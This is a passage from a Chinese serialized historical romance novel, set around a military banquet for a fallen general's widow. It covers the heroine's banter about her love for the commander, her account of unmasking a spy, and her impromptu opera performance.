茉云转头瞟了一眼，怔了半刻，原来是个少年，眉眼间与崔老将军极为相似，一看便知是他的孩子，只见他眼眶微红，一脸的悲戚和委屈。
这个时候小马正好来寻茉云，执礼军师说大将军在营中设宴陪崔老夫人用午膳，让小马来问茉云是否想赴宴，身体可能承受。
“走！”茉云指着前路说道，余光看见那少年往营帐后又躲了躲。
茉云随着小马走入设宴的营帐时，看到营帐内空无一人，她没有多想，迈步走了进去。然而在营帐内屋，崔老夫人在收拾着崔老将军的遗物之时，双手抚摸着那些熟悉的物件，眼中满是痛苦与不舍，忍不住泪如雨下，正啸和若辰夫妇只能站在一旁默默陪伴。
而此时传来了营帐外屋茉云的声音，她的轻松语气瞬间打破了这片沉默：“人还没到啊？”
崔老夫人听见她的声音，轻轻吸了口气，努力抑制住自己涌上心头的情感，慢慢擦拭着脸上的泪水，恢复了些许镇定。
此时，执礼本准备走出去让茉云进来，没想到就在这时，崔老将军的小儿子崔岩也怯生生擦了眼泪走进了营帐，穿着一袭整洁的衣裳，却步伐显得格外小心谨慎，身影微微佝偻，头低得很低，眼睛总是躲躲闪闪地看着地面，显得有些羞涩。
当他看到帐中的茉云，愣了半刻，他并不认识茉云，似乎有些不知所措，随后他慌忙行礼，虽然动作有些生硬，但依旧很有礼节。
茉云却微微一笑，直截了当地问道：“你是崔老将军的儿子吧？你叫什么名字。”
崔岩怔了一下，随即点了点头，眼神中闪过一丝紧张和怯懦，小声说道：“崔岩,您……”
茉云没有等他说完，继续笑着说道：“我叫方茉云，崔老将军已认我为义女，那我便是你姐，日后若有谁敢欺负你，告诉我。”
崔岩听到“姐”这个词，愣了半刻，眼神中还有有些畏惧。虽然昨日母亲提起过此人，但在崔家，“姐姐”这个称呼对他来说，一直都是充满着威慑力——尤其是崔家嫡出的女儿，平日里总是让他感到畏惧，见之绕道。
旁边的小马笑了，无奈地摇了摇头，嘴里小声嘀咕道：“头，他是崔老将军之子，谁敢欺负他。”
茉云听到小马的话，嘴角微微上扬，扫了一眼崔岩，眼神中带着一丝玩味：“在京城，欺负人的人何其多，不说别的，他们崔家嫡出长女崔薇就不是省油的灯。”
她的话语中像是打趣，又带着些许意味深长，她当日在京城御史台任职之时，便知道崔家家教等级森严，嫡庶分明，崔将军虽是将军，但是也是庶出，他的兄长崔诚是朝中二品大员，自己当日都曾领教过崔薇大小姐的盛气，何况是崔岩这个庶出的弟弟。崔岩的脸色稍微变了变，他轻轻抬起头望向茉云，她敢直呼长姐崔薇的名字，而不是尊称她为崔家大小姐。
茉云拍拍他的肩膀，笑着说道：“我不是说着玩的，我弟绝不能让人欺负。谁欺负你，告诉我。”
崔岩此时吸了一口气，神情放松了不少，开心地点了点头。自幼，长辈们和兄长们常常告诉他要忍耐谦逊，从未有人告诉过他，自己不可以受别人欺负，茉云的言语让他感觉到一丝温暖和震撼。
茉云则开心指着椅子示意他坐，崔岩便在她身边坐下了，茉云关切地继续说道：“我刚听你说，你喜欢唱戏。”
崔岩愣了一下，眼神略显慌乱，似乎羞于启齿。他看向茉云，突然想起方才在自己身边经过的那个人便是她。
茉云则目光温和望向他，带着一丝淡淡的笑意，坦率地说：“我幼时也最喜欢唱戏了，还在戏班学过几年。但是唱戏这事一定要找师傅。京城最好的戏班是什么？”
聊起了戏曲之事，崔岩则瞬间放下了戒备，眼光中好似闪烁出光芒地回答道：“周家班。”
茉云一边给崔岩和自己倒茶，一边笑着鼓励他说道：“那你就去周家班，找他们台柱子学。”
崔岩顿时吃惊地小声说道：“周家班台柱子？周公子吗？我平日里连后排的票都很难买到，更别说是去寻周公子学戏？”
茉云看向崔岩畅然的笑了，将茶杯递给他说道：“都是人嘛，何必妄自菲薄。”
然而，崔岩叹了一口气的望向茉云，语气带着几分迟疑：“姐，你有所不知，周公子的戏，就是京城很多达官贵人都是一票难求，何况他不从未收徒，这事实在是太遥不可及，高不可攀了……”
茉云笑了笑撑着头，目光似乎穿越了时光，缓缓地说道：“世上哪那么多遥不可及，高不可攀，几年前，我在中州……看见一只大老鹰。他威武雄壮，眼露冷峻锋利的光，我第一眼见之便很喜欢。可当时……相比于那翱翔天际的大老鹰，我连地上的蝼蚁都不如，就像你说的高不可攀，遥不可及，可是，我二话没说，不顾一切地就追寻而去，一追追了好久。
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”
小马听到茉云的话，不由愣住了，眼神中都是震惊，要知道平日里无论众人如何玩笑，茉云从来都是一副不屑一顾的神情……
崔岩显然不明所以，他微微皱眉，疑惑地问道：“姐，那你追到大老鹰了吗？它看见你了吗？”
茉云端起茶喝了一口，眼中闪过一丝狡黠的笑容：“我又不真是蚂蚁，这么大个人，他当然回头能看见我呀。”
崔岩听到这里，饶有兴致的继续追问道：“它看见你了，停下来了吗？”
茉云想着自己的都乐了：“他回头看着我，然后让我滚啊！”
崔岩一愣，惊讶地说道：“老鹰会说话？”
茉云顷刻笑得几乎是前仰后合：“他……用眼神让我滚。”
崔岩似懂非懂的点点头：“那你后来……滚了吗？”
“没有啊，后来……众人皆知，他每次见我，都是极其嫌恶我。”
崔岩继续追问道：“那你为何不走啊？”
茉云坦然地看着他，语气坚定而畅快：“因为我喜欢他，所以我乐意啊，何况他飞的路和我要走的路也算一个方向……所以你管别人怎么想，自己喜欢就行。”
小马再也忍不住，插话说道：“头，青岚姑娘说的是真的？你第一眼就看上了大将……大老鹰？”
茉云听到小马的话，笑得更加灿烂，眼中透出一丝不以为意的坦然：“这不废话吗？以我的为人，就他对我做的那些恶事、破事，要不是喜欢他，我早弄死他八百回了，他怎么可能活到今日？青岚是这世上最了解我的人，她的话你们怎么就不信呢？”
小马愣住了，嘴巴微张，似乎不敢相信茉云如此坚定的话语，呆愣在原地。
崔岩忍不住继续追问道：“姐，那你最后追到了吗？”
他的声音中带着些许好奇与期待，仿佛被茉云讲的故事深深吸引。小马也忍不住凑近了，目光紧随其后，似乎也在期待茉云的答案。
茉云却抬目望向营帐外，长吸了一口气，脸上的表情忽然变得深邃，她意味深长地说道：“义父和老马走后，我什么都不想了，也不该想，我只想先平定南境，等灭了峑戎，再去想其他的事。”
崔岩深吸一口气，眼中全然都是敬佩，点了点头，沉默了一会儿，然后又突然担心问道：“可是，大老鹰要是跑了呢？”
茉云又被他的问话逗笑了，没好气地回应道：“他能跑到哪儿去啊？他也得给我留在这儿平定南境，不然我一箭就把他射下来。”
就在这时，忽然听到门帘被掀开的声音，执礼走了出来，脸上带着非同寻常的笑意，眼中闪烁着戏谑的光：“话说，您也不是没有拔箭射过大老鹰吧？”
茉云的目光随着门帘的掀起，瞬间落在了站在里屋的正啸身上。她的心中猛地一跳，意识到正啸已经听见了她刚才的所有话，那一瞬间，她的脸上只剩惊愕……
小马见状，亦是呆愣在原地，轻轻扯着茉云衣袖，低声说道：“大老鹰，大老鹰……”
265.顺眼
茉云眼中本还带着几分轻松与俏皮，不过是有感而发，随口一言，居然被内屋所有人都听见了，他们自然亦知——大老鹰指的是谁。
四周的气氛顿时变得微妙，众人的目光在这一刻好像都停留在茉云和正啸之间，带着几分探究，若辰则轻轻抿了下嘴唇，眼中闪过一丝意味深长的微笑。
然而这戏谑的氛围并没有给茉云带来压力，她素来坦然，愣了半刻之后，她不以为然地看向小马，语气故意带着几分威胁：“我刚才说的秘密，谁要是敢说出去，我就剁了谁！”
她的表情严肃中带着一丝笑意，好似是威胁，但亦是坦荡的面对内心情感，没什么好不承认的。
小马晃了晃神顷刻被逗笑了，眼神中闪过一丝调皮，语气轻松地凑近茉云：“诶，头，你可还记得，我上次拉您衣袖，好像也是提醒你，这下完了，大将军就在那里，当时您也是一脸错愕。”
茉云顿时亦是喜笑颜开，无奈地捂住额头，说道：“当时心情跟现在也差不多，心中好像有万片竹林被雨打风吹去……”
小马更是乐得不行继续说道：“我也还想说那句话，头，您的手，应该遮不住您的脸。”
茉云长叹一口气，好似一脸的生无可恋：“哎，谁曾想这么多年了，咱竟然没有丝毫长进，下次咱若是要说点什么他不能听的，你能不能确认一下，他人在哪里啊？”
顿时，众人都忍不住哄堂大笑，气氛顿时变得明快起来。茉云的坦然总能让再微妙之事，都变得轻松愉快起来。
她望向正啸笑了，没有半分回避。正啸同样望向茉云，他似乎能听见自己的心跳声，虽然茉云曾无数次与自己生死不弃地相随，而且昨夜亦算是深深回应了自己的情感，但听见她这样说，心中还是情不自禁的觉之开心。而且是一种他从未感受过的欢愉，好似这份深藏的爱意被越燃越炙热。
茉云则一脸风轻云淡地走向崔老夫人，伸手扶着她说道：“干娘，我扶您坐下，这军中伙营的手艺还不错，等下您尝尝。”
崔夫人自然能感受到方才营中的微妙，她慈祥地笑了，目光柔和地看向茉云点点头，心领神会地帮她转换一个话题。
正啸此时才收回了目光，却望见到站在他身边的若辰，似笑非笑地看着自己。正啸旋即几分生硬的躲开了目光，没有理会他的走了出去，轻轻坐下。
然而，就在此时，营帐外传来消息通报声：“启禀大将军，督军萧王爷、罗大人和余大人等人皆已到营门。”
“知道了！”正啸瞬间双眉微蹙的应了一声。
待几人走进营帐，众人纷纷起身相互行礼。
萧怀逸深深吸了一口气，目光郑重地望向正啸：“正啸哥。”
正啸的表情瞬间变得冷漠，眼神中带着一丝锋利。于他而言，萧怀逸在卢家军中冒用他的笔墨字迹，向敌人发出私信，已是触碰他的底线，若是军中其他人，自己早已将其按军法问斩了。
执礼看到这一幕，亦是微微皱眉，他早已向萧怀逸说明了正啸的处置，让其暂时不要再出现在卢家军中，没想到他还是来了军营。
其实是因为萧怀逸要回京请罪了，故而他坚持亲自来向正啸请罪和道歉。现场的氛围变得有些尴尬和凝重，谁也不敢轻易开口。
钦差大人罗景城见状，却试图化解这份紧张，他深知皇上派萧怀逸来南营担任督军，是经过深思熟虑的，他也明白萧怀逸的行为虽有错，但萧怀逸并不希望裴桥被破，只是阴差阳错的被裴桥城内奸细所利用，才会导致今日局面。
罗景城笑了笑，轻松地说道：“督军和我等来了，莫非大将军连个座位都不赏？”
执礼连忙让开，赶快邀请诸位大人坐下，他们会来必然是和正啸有事相商。
正啸才淡然的说道：“今日军中是为崔老夫人设宴，师兄、余大人你们既然来了，请！”
他们恭敬的像崔老夫人行礼之后才落座，男子坐在一侧显然他们是有事相商，茉云和季岚陪着老夫人和崔岩坐在一侧。
季岚静静地端起茶壶，轻柔地倒满茶水。倒完后，她恭敬地奉给崔老夫人，然后又为茉云斟满，茉云伸手端起茶杯，抬目望向季岚，才发现她其实双眼满是倦意。
“季岚，别忙了，快坐下！”崔老夫人慈爱而温和的笑了说道。
“你这是怎么了？”茉云抿了一口茶说道。
“我？”季岚深吸一口气，她自是不愿因为自己的情绪影响今日众人陪崔老夫人缅怀崔老将军之事，顷刻又恢复了平日温婉的笑颜说道，“我无事！”
茉云则放下了茶杯，微微挑眉，未再多言，只是看着崔老夫人说道：“干娘，请恕我冒昧，我昔日在京城对崔家亦有所耳闻，干爹这一走，我有照拂您之责，日后您若受了委屈，您切莫如这季岚这般，心中明明已是暴风骤雨，山崩海啸，但别人问起，她便瞬间温婉的笑着说，我无事。如果您受了委屈，一定要告诉我。”
季岚瞬间愣住望向茉云，崔老夫人亦温和地抬目望向茉云，慈爱的笑了点点头，她们都是京城中大家闺秀出生，亦都是嫁入京城大家族，这些平日里的端庄大气，荣辱不惊，本是他们一生的必修课。
“莫这么说我！”季岚眼中透出一丝委屈小声说道。
“胡季岚，我断的裴桥这案，你看得不够真切吗？”茉云冷冷的望向季岚说道。
崔岩坐在一旁，显然没有听出茉云的弦外之音，他反而满脸好奇地问道：“姐，我听哥哥们说了，你断案特别厉害，抓住了城中奸细，为我爹报了血仇。可是你是怎么知道那丫鬟是峑戎的暗探呢？”
此时，坐在桌对面的罗景城、余震等人不自觉地投来了目光。裴桥之案的重要症结之一，正是那安群芳的丫鬟居然是峑戎的暗探。然而她行事极为谨慎，未曾暴露任何蛛丝马迹，案后凿开她房间的墙壁，他们才发现了铁证。
可是茉云却在审问安群芳之时，就问她，是否意识到自己的丫鬟如此能耐。便是安群芳被问之时才恍然大悟，开始怀疑自己的丫鬟，然而茉云是如何一开始便知晓那丫鬟的真实身份呢？
茉云的眼神微微一冷，嘴角透出一丝冷笑，似乎在回忆久远的往事：“我幼时曾见过安群芳，是我家破人亡，逃难之时，曾跟好友青岚来裴桥寻亲，看是否能投靠过个冬，可终未寻到。我们便只能流落街头挤在街角躲风。当日寒风凛冽，我们饥肠辘辘，忽然一个轿子停在了我们面前。从轿子上走下来一人，便是身穿兔毛红色斗篷的安家大小姐。”
她顿了顿，好似眼前就出现了当日还只有十几岁的安群芳，一脸的英气和尊贵，不愧是鼎鼎大名的安刺史千金。
茉云深吸一口气继续说道：“那些小乞丐们说，她是裴桥尊贵的刺史千金，是个大善人。她从布兜里掏出馒头，分给那些小乞丐。她发到我时，看了看我和青岚，忽然说，看你俩，一个机灵，一个秀气，跟我走做我丫鬟吧，我保你们每日吃饱穿暖，但是你们这辈子事事必须得听我的。”
众人愣了一下，没想到茉云竟然还有这样一段过往。
“听见此言，我当时伸出的手收了回来，因为我知道，我不可能一辈子听谁的话。就在这时，一个小女孩突然冲了出来，跪在安群芳面前，说安大小姐，我做你的丫鬟，一辈子听你的话，求求你。”
说到此，茉云又停顿了一下，目光渐渐变得若有所思。
“我现在还记得，那女孩当时候说的话，并不是本地口音，反而带着些许关外的口音。但当时关里关外流民之多，我好友青岚的家离裴桥不过一个时辰的路程，她亦带有关外口音。所以我当时没多想。而我前些日子在益城，皮勋那畜生跪下跟我求饶之时，那口音居然让我瞬间想起了当日那小女孩，他们应该是同乡人，原来她是峑戎人……”
茉云的眼中流露出一丝痛楚，她要是早发现了该有多好，崔老将军、老马和苏云青都还活着。众人顿时各自流露出不同的表情，纷纷望向茉云。
茉云目光中的怅然只是一闪而过，望向季岚，语气透出一股冷然：“她也着实厉害，一眼看穿苏家两妻妾的嫉恨之心？人嘛，你活在世上，难免有高下之分。高高在上之人，俯瞰于你，她几乎拥有一切，但她只要看到你拥有她所想要的，她便会觉得你低贱平庸，命如蝼蚁，你凭什么！她会发自内心的厌恶你，践踏你。”
若辰的眉头微蹙，他看向季岚，眼神中透露出一丝疑惑和担忧。这些日子，他忙于裴桥和南境之事，居然没能察觉到季岚有心事。
茉云的声音带着一种深入骨髓的寒意，继续说道：“而不如你之人，抬头仰望你之时，你的进取和努力就都是过错，你的善意和体谅亦成了炫耀，你得到的一切都有罪，她觉得你和她本都是命如蝼蚁。你凭什么！她宁可放弃自己的一切，铆足了劲来毁你。”
季岚深吸一口气，望向茉云，脸色有些沉重，眼中却闪过一丝震撼，被茉云话语中的锋利和寒意触动，因为季岚知道她说得没错，这些日子以来自己在家里的左右逢源，上下讨好，故作体面的意义又是什么？
茉云淡然一笑，继续喝着茶说道：“所以去讨好嫉妒你之人，你不如省省精力过好自己日子，你觉得呢？”
崔老夫人看向茉云，深吸了一口气，眉头微微皱起。她心中不禁思索着茉云这番话的深意。她自己在崔家受了长房大嫂几十年的气，其实没有其他缘由，不过是因为大哥妻妾众多，而崔老将军待自己一心一意，便让人嫉恨。
这些年自己为了崔家的和睦，处处忍让。而茉云的这些话，似乎也让她意识到，老崔走了，孩子还小……
茉云笑了笑，看向季岚打趣的说道：“你还不如把心思多用在关若辰身上，让他表妹有一日气得牙都咬断了，那便是你做对了，比生不生儿子，争气多了。”
季岚顿时笑了，眉宇间带着娇俏，没好气地望向茉云：“那我还有个女儿，你有吗？不如你也生个女儿，我生个儿子，咱两也可以做亲家。”
众人顿时望了过来，气氛一下子轻松了些许。
“如此甚好。”若辰也笑了说道，说完眼神直直的望向了正啸。正啸却无语的躲开了眼神，没有说什么，但是任谁都能看出他眼中透出的光异常温和。
茉云则乐了，看向崔老夫人笑着说道：“干娘，你说若是有女儿，是不是应该找个干娘您这样温和慈爱的好婆婆，谁会为自己宝贝女儿找个胡季岚这样的婆婆啊？”
此话一出，众人皆忍俊不禁，谁都知道季岚待若辰和若辰之友素来温和，可是在京城那也是谁都不敢开罪的胡家嫡出
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大小姐。
季岚则无奈地瞪向茉云，故作气恼地说道：“所以说，方茉云你这人就是嘴毒且不识抬举，也怪不得人恨你。”
众人更是乐了，气氛亦变得更加轻松，茉云却毫不在意地点点头，眼神扫过季岚，突然间眼中闪过一丝狠戾地说道：“若回京，有劳你帮我带句话给你的闺中密友崔薇，劝她莫要再欺负我干娘她们这一房。”
季岚瞬间怔住，眼神中闪过一丝明悟，顿时心领神会轻轻点了点头。
崔夫人亦明白茉云的关切之意笑了说道：“莫要担心干娘，你干爹虽不在了，但昔日我曾承诺你干爹，无论如何都会过好自己的日子，把孩子们养大成人。倒是你，沙场无情，你要顾好自己，你也这般大了……”
“干娘，您千万别担心我，您可能没有干爹和我相处的时间长，您还不了解我。我这人命贱且无情，这儿挺适合我。”茉云轻轻打断了崔老夫人的话，随即又转移了话题，语气轻快的说道：“对了，干娘，崔岩想学戏之事，您心里可赞同，还是希望他考取功名，入朝为官？”
崔老夫人听后看向崔岩，语气中透着宽容与慈爱，显然十分支持崔岩的去做自己喜爱之事：“我岩儿也许并不适合为官，他喜好戏曲，若能以此谋生，我和他爹都觉得极好。”
茉云心中不禁感叹，像崔老将军和夫妇这样的夫妻和父母，真是世间难寻，可她很快收拾了心情，继续问道：“那崔岩唱戏可有基础？”
崔老夫人轻轻笑了，带着几分小小的埋怨：“我都没听他唱过，他自小和他爹最亲近，家里只有他爹听他唱过，说他平日里都一个人去山里唱。”
茉云旋即转头看向崔岩，笑着说道：“那你唱几句给姐听听。”
“啊？此处？”崔岩瞪大了眼睛，脸上露出一丝惊慌，头摇得如拨浪鼓一般。
茉云则笑着调侃道：“戏你都不敢唱出来，那跟谁学戏都是无用的！”
崔岩低下头，显然有些羞涩地小声说道：“不行不行，姐，我唱得不好，在此处唱，哥哥们都在，那也太丢脸了。”
“丢脸？你看看那边都有谁。”茉云乐了，端起茶喝了一口说道。
崔岩不自觉地抬起头，望向正啸、景城他们，众人也正好望了过来。
茉云放下茶杯，一脸风轻云淡的说道：“他们皆是我的上级、朋友、同僚、兄弟和下属。你说喜欢周家班周公子是吧？那就是喜欢看花旦的戏，好，你看着。”
顿时茉云站起身来，毫不犹豫地开嗓了。她身着军中战衣，高束发髻，一副英气勃发的男子打扮，周身散发着飒爽的气息。可此刻，她化作柔媚的花旦，高亢激昂的一嗓就唱了起来，身段柔美、神情动人。
但这外形和神态与她的英武外形定然极不搭配，不论此一曲如何惊艳，众人都愣住了，完全没晃过神，便被茉云如此投入所吸引。
就连正在喝酒的余震大人，都惊得手中的酒杯都悬在了半空。而此时，润吉和沧海扶着重伤的威行走进营帐，本来是来见崔老夫人的，看到茉云唱戏的样子，他们也站在营门口愣住了。
只见茉云轻启红唇，唱腔清脆高亢，眼神顷刻不再冷冽，取而代之的是一种娇媚且带着几分娇羞的神情，好似站在台上艳压群芳的美娇娘，踏云步，兰花指，动作柔软如水，每个旋转、每个眼神都演绎着花旦芳华，唯一极其不搭的便是——此人本是大杀八方的方茉云。
当茉云一曲唱完，她转头看向崔岩，崔岩不禁感叹的说道：“唱得太好了。”
“你想知道他们怎么看我吗？”茉云则看着崔岩毫不在意地笑了，端起茶杯一饮而尽。
崔岩愣了看向茉云，然后环顾一周，看见众人静默而呆滞的神情，他再望向茉云，好似在等她的答案。
“可我不想知道，因为我既不需要知道，亦不觉得重要！”茉云又坐到了崔岩身旁，指着御史台余震大人说道，“你看那京城官场素有冷面金刚之称的余震大人，他错愕到举酒杯的手，现在还悬在半空。但是于我而言，他就是下巴都惊得掉了，又与我何干呢？”
崔岩此时抬目望向茉云，崔老夫人亦轻轻的笑了，她心中自是明白了崔老将军为何和茉云一见如故了……
“这世上喜欢你之人，你什么样子他都看着顺眼，不喜欢你之人，你变成什么样子他都看不顺眼。所以何必在意，我们自己开心就好。”茉云笑着端起了茶杯，忽然又看着余震乐了说道“当然，余震大人的下巴，若真的被我惊得掉下来，我会笑得很开心的。”
余震顿时放下端酒杯的手，望向正啸奚落的评价道：“真是疯子妖怪。”
“扑哧”众人顿时再也隐忍不住，哄堂大笑。
罗景城大人亦笑得不行摇头道：“师傅便是如此评价我这师妹……你别看她这一会儿还人摸狗样，下一刻你就不知道她会给你来个什么惊天动地的幺蛾子。”
众人亦笑得更欢了，他们谁能不知道茉云什么德性。若辰则又意味深长的看向正啸笑了。
正啸没有搭理他，只是端起酒杯轻轻抿了一口，抬目不自觉地望向茉云，眼中透出掩盖不了的柔情。自中州始，自己着实从来不知下一刻她会出什么幺蛾子，但这个“疯子妖怪”无论什么样子，自己确实都看着挺顺眼，挺喜欢的……
266.心悦
茉云毫不在意的笑了笑，看向崔老夫人，眼中透着温和和坦率：“干娘，不知道干爹有没有跟您说过我，我时常这般唐突而鲁莽，有些造次，还望您原谅。”
崔老夫人慈爱的目光落在茉云身上，她轻轻笑了笑，语气柔和：“老崔那日回京给叔爷拜寿时曾提起，军中遇见一位女将军，人若以水泼之，她必烧开了水泼回去，让人觉得痛快又笑得捧腹。要是自己幼时有这么一位挚友该多好。”
季岚也忍不住笑了，认同的说道：“对，她就是此人。”
茉云嘴角微微上扬的说道：“义父说话就是委婉又体谅人，我怎么可能只是烧开了水泼回去？我必是烧开了油泼回去，因为泼完我可还要点火的，水怎么点得着那些贱人。”
茉云的话语中带着一丝不容忽视的锋利，说完，她抬眉冷冷地看向萧怀逸，眼神顷刻间锐利如刀。萧怀逸也正好与她对视，脸上没有丝毫波动，依旧是一片平淡与冷漠。
罗景城深吸了一口气，试图化解这份紧张，语气略带缓和：“茉云，此事也不能都怪小王爷，昨日连崔老夫人都体谅了。”
茉云冷冷地喝了一口茶，微微抬头，眼神依旧锋利：“我知道啊，不然他如何还能坐在此处。”
瞬间，营帐内的气氛又凝滞了几分。
而茉云眉毛微微挑起，望向季岚轻笑一声，开口说道：“你看，有人钟意关若辰，赖你家不走，无非是想抢走他。但是没有人因为喜欢他，找人来抢走你的吧。我就纳闷了，在乎他，有本事你掳走他啊，你害我干嘛！”
“扑哧”顿时众人再也隐忍不住哄堂大笑，连罗景城也忍不住被逗笑了，
“真是大千世界无奇不有，贱人一山更有一山高，我长见识了。”茉云则没好气说道，趁人不注意悄悄端起旁边的酒杯。
然而就在此时，一声温和却不容置疑的声音传来：“把酒放下。”
“哼！”茉云听到这话，神情极度不满的白了正啸一眼，但终究不情不愿的将酒杯放下，一口没喝。
崔老夫人望向茉云，眼中含着明了的笑意，她看见了崔老将军菜谱上的留言，自然明白他的意思，她温和地望向茉云：“茉云，你这般年纪，可曾考虑自己的终身大事？”
茉云望向崔老夫人，深吸一口气，认真地说道：“干娘，义父走之前留下遗言，生者当承亡者之志，肩未竟之业，毕其一生夙愿。此后诸事，皆托付于汝。义父和老马属实是因为我而走的，昔日我也期望南境太平，可从未像现在这般坚定。此生，我必完成先烈们一生的夙愿。”
“可这不耽误你婚嫁啊，昔日卢帅和柳将军亦是一段佳话。”崔老夫人的语气中充满了长辈的慈爱与关怀。
茉云眼神中透出决然，斩钉截铁地回应道：“南境未平，我绝不嫁人。”
众人顿时抬目望向茉云，正啸也不由得抬头望向她，崔老夫人轻轻吸了口气，看向正啸，可从他两坚定的目光中，崔老夫人能感受到他两的壮志与默契，她温和地笑了点点头：“他们在天之灵，亦会为你们感到自豪的。”
在这片刻的安静中，气氛变得温馨而庄重，寄托了在场所有卢家军中人剿灭峑戎，平定南境的坚定信念。茉云与正啸，彼此的眼神也在此刻交汇，心中的情愫和信念、默契的交织在一起。
而就在此时，突然传来了威行的笑声。他正忍着腿伤，艰难地坐下，轻松地说道：“崔姨，你信她的，说得好像她没嫁出去，都是为了南境太平，实则她就是嫁不出去？”
他话音一落，众人顷刻都抬头望向了威行。
威行扶着凳子坐得舒坦点，继续说道：“那日我们兄弟们还讨论，茉云这人，做并肩作战的兄弟那是没得说，赤诚、忠勇、义气，又能耐，咱命都可以交给她，但也没看见兄弟几个，谁敢跟她做媒。贤良淑德咱都别说了，太过强求于她，但是性情温和，细心周到，操持家务，孝敬长辈这些为妻必备，她不但一个都没有，她还是反的。连卢老太君那样的人物都能被她气得冒烟。”
众人顷刻哄堂大笑，茉云却丝毫未生气，反而笑得甚为开心，若辰则带着满满皆是调侃的神情望向正啸，正啸亦懒得搭理他。
众人未再议公事，都按照崔老夫人期望的那样，深藏这份伤悲，一起忆起了往日很多崔老将军在军中趣事，崔老夫人也笑着回忆起很多年轻的过往，都是在座将军们不曾听过的父辈趣事，大家听了更是笑得前俯后仰。
用过午膳之后，崔老夫人要离开军营了，茉云和季岚准备亲自一路陪崔老夫人回裴桥，而余震亦告辞了，因他牵挂家里先行回京复命。
这是茉云马上命小马取来一包袱的南境特产交给余震。
“余大人，操劳了！”茉云一脸的真诚的说道，“这些南境小食您带回去，慰劳一下御史台的兄弟们。”
余震压根没有接，没好气的说道：“方茉云，我警告你，你下次换个人，御史台没人了？”
伍大人则笑着结果包袱说道：“茉云，你也是太狠了，之前您每次找余大人来都没好事，他不来，你就找院长邓大人，余大人也不好辱逆上官，但上次余大人忍无可忍，都驳了邓大人说自己身体抱恙，结果过了一日圣旨来了；而这次您更狠，余夫人刚生下幼子，还未出月子，连圣上都不会下旨让余大人离京……”
若辰亦笑了望向余震说道：“我还说，表妹刚诞下麟儿，以你对夫人之用心，你此刻为何会来！”
伍大人接过话笑了说道：“因为方茉云一封信写给了余夫人，余夫人乃方茉云挚友，她当即让大人马上出发，大人不肯，一贯温柔娴熟半分都不会辱逆余大人的夫人，看着余大人说，你要是牵挂我们母子，那我即刻收拾行囊，随你一同去就好了，结果余大人翌日天未亮就去请了令，动身了！”
“你都知道！”余大人顿时没好气的瞪着自己随从伍大人骂道，众人顿时哄堂大笑。
“没想到余大人终日一副全天下都欠了你的模样，却对夫人如此深情！”茉云耸耸肩一脸坦诚的笑了说道，“谢了，要是您不来，我也唬不住他们。”
众人看着余震的表情，笑得更欢了，谁不知在京城，余震可是闻名的御史台铁面之人，素来刚正不讲交情，一众官员见之都想退避三舍。
此刻，余震却脸色微微一沉，望向茉云，忽然说道“方茉云，你让我来，若是那信真是卢正啸所写呢！”
“办他！”茉云没有丝毫犹豫的说道，眼神瞬间透出了寒戾的光，站在她身边的崔岩，顷刻怔住了怯怯望向茉云，她与刚才好像一下就变了个人似的。
“你！”罗景城皱眉望向茉云，一时都不知道说什么才好。
萧怀逸此时忍无可忍的望向茉云，冷冷的开口道：“方茉云，你可知何谓忠贞！”
“我此生都不会有一刻，像小王爷这般，会觉得有个人可凌驾于我的一切，觉得他做什么都是对的，我都接受。若这封信是你写的，那只是愚蠢。若这封信是他写的，那便是该死。”
“所以你连最起码的信任都没有！”
“对！”茉云回答没有半分迟疑，眼中亦毫无波澜，好似一湾平静的水面，可没有至深的湖，何来如此平静的湖面。
萧怀逸深深吸了口气咬牙看着茉云，可当他转头望向正啸之时，却惊讶地发现他好似并无丝毫震惊……
茉云则淡然转身望向执礼笑着说：“我虽没有，但忠诚是可贵的，值得一留。你明日回信问老太君，说若有一日方茉云有异，谁可除她？你也可以告诉老太君，是我问的。”
执礼深吸了一口气，顷刻明白了茉云的意思点点头，其实不论萧怀逸待正啸如何赤诚，但卢家军中从来容不下与统帅不一心之人，卢家军和老太君本来都再无法接纳他，但是茉云这是在帮他说情……
茉云转身之时，瞬间眼神又变得温和的扶着崔老夫人，说道:“干娘，我扶你上马车。”
崔老夫人温和的点点头，崔岩则半声都不敢吭的跟着往马车走。
众人像崔老夫人行礼送别，崔老夫人一脸慈笑的像大家点头回礼后，便上了马车，马车徐徐的往城中走去，崔岩坐在马车中小心翼翼的悄悄望向茉云。
崔老夫人则温和地看向茉云，说道：“茉云，何以要如此刚硬锋利，就不怕刺伤了彼此？”
茉云望向崔老夫人瘪瘪嘴巴说道：“人不至于这么脆弱。”
“人心都是肉长的。”
“干娘，您知道那时他怎么待我的吗？我要去杀一个杀父仇人，他不让我去！”茉云想着便义愤填膺的说道，“结果那家伙把我逮了回去，二话不说，当着我亲侄子面，将我一顿暴揍，我疼得三天走道都不稳。他有今日，是否活该？”
看着茉云气得勒起衣袖的样子，马车内之人皆乐了，季岚看向茉云无语的摇摇头。
崔老夫人去满脸慈笑地看向茉云，语气轻柔，眼神中带着一丝深情地回忆道：“你可知老崔走之后，为何干娘能如此接受和面对吗？是因为我这一生，自嫁给他，我两待彼此都是不离不弃，细心体谅互相之难处。”
茉云和季岚都抬目望向崔老夫人，她的声音中充满了温暖，好似这些岁月早已镌刻在心。
“他是沙场将军，却从未跟我说过一句重话，我亦有自己的脾性，可老崔总是一笑了之，从不与我计较。这几十年回想起来，嫁他皆是幸事，故而觉之一生值得。人世无常，珍惜每一刻好好待他，多留下一些美好之回忆，人生亦会觉得圆满，是不是？”
季岚深吸一口气眼眶微红，情不自禁地点点头，深深被崔老夫人的话打动。
茉云却忽然凑近崔老夫人，带着几分调皮笑意说道：“干娘，干爹年轻之时，是否容貌俊朗，气度不凡，而且性格温和？”
崔老夫人听后，顿时被逗笑了，她点点头，眼中满是温情与回忆。
“真羡慕您的福气。”茉云感叹而由衷的说道，“待在干爹身边都觉之如沐春风。”
季岚则被逗笑了，接过茉云的话，说道：“你羡慕什么？难道我夫君还不算性格俊朗，气度不凡，性格温和吗？您日日嫌弃他娘，您就喜欢大老鹰那种，你挨打怪谁呢。”
“也有道理哈，原来我也是活该。”茉云顿时乐了指着自己说道。
崔老夫人又被她两逗笑了，整个马车里顿时充满了欢声笑语。茉云的直率和坦诚让所有人都感受到了她那不拘一格的开朗和豁达，也让崔老夫人在这样沉重之时，能感受到些许轻松的慰藉。
茉云将崔老夫人和崔岩安顿好之后，骑马返回营地的途中，心中不禁回忆起崔老夫人刚才说的话——人世无常，应该给彼此留下多一点美好的回忆，她的目光渐渐望向军营主营的方向，心中也涌起一丝温暖。
